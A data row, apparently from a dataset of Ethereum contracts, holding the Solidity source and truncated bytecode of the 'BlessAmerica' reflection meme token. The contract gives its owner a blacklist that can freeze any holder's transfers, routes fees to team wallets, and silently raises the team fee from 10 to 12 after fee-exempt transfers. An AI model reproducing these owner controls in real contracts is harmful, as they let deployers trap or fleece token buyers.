60ff1681565b60005433600160a060020a039081169116146108ce57600080fd5b600160a060020a038082166000908152600360209081526040808320805460ff1916600190811790915583549094168352929052205461090f908290610aea565b5050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561097057600160a060020a0333811660009081526002602090815260408083209388168352929052908120556109a7565b610980818463ffffffff610d8016565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60005433600160a060020a03908116911614610a4357600080fd5b600160a060020a03166000908152600360205260409020805460ff19166001179055565b600054600160a060020a031681565b60095460ff1681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104d15780601f106104a6576101008083540402835291602001916104d1565b600160a060020a03331660009081526003602052604081205460ff161515610b1d5760095460ff161515610b1d57600080fd5b600160a060020a0383161515610b3257600080fd5b600160a060020a033316600090815260016020526040902054821115610b5757600080fd5b600160a060020a033316600090815260016020526040902054610b80908363ffffffff610d8016565b600160a060020a033381166000908152600160205260408082209390935590851681522054610bb5908363ffffffff610d9216565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610c4e908363ffffffff610d9216565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60005433600160a060020a03908116911614610d0057600080fd5b600160a060020a0381161515610d1557600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610d8c57fe5b50900390565b600082820183811015610da157fe5b93925050505600a165627a7a723058200be130920ef06d4a894a623db2980ba78c3a4270886001cef28b02b590996c160029 | {"success": true, "error": null, "results": {}} | 641 |
0xef0c116c940892d77f7c0b03c617714671b3fbf6 | /**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
/**
*Submitted for verification at Etherscan.io on 2021-07-04
*/
// SPDX-License-Identifier: Unlicensed
// https://t.me/BlessAmericaERC20
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BlessA is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "BlessAmerica";
string private constant _symbol = "BlessAmerica\xF0\x9F\x9A\x80";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280600c81526020017f426c657373416d65726963610000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f426c657373416d6572696361f09f9a8000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612fe0565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f20565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fa0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063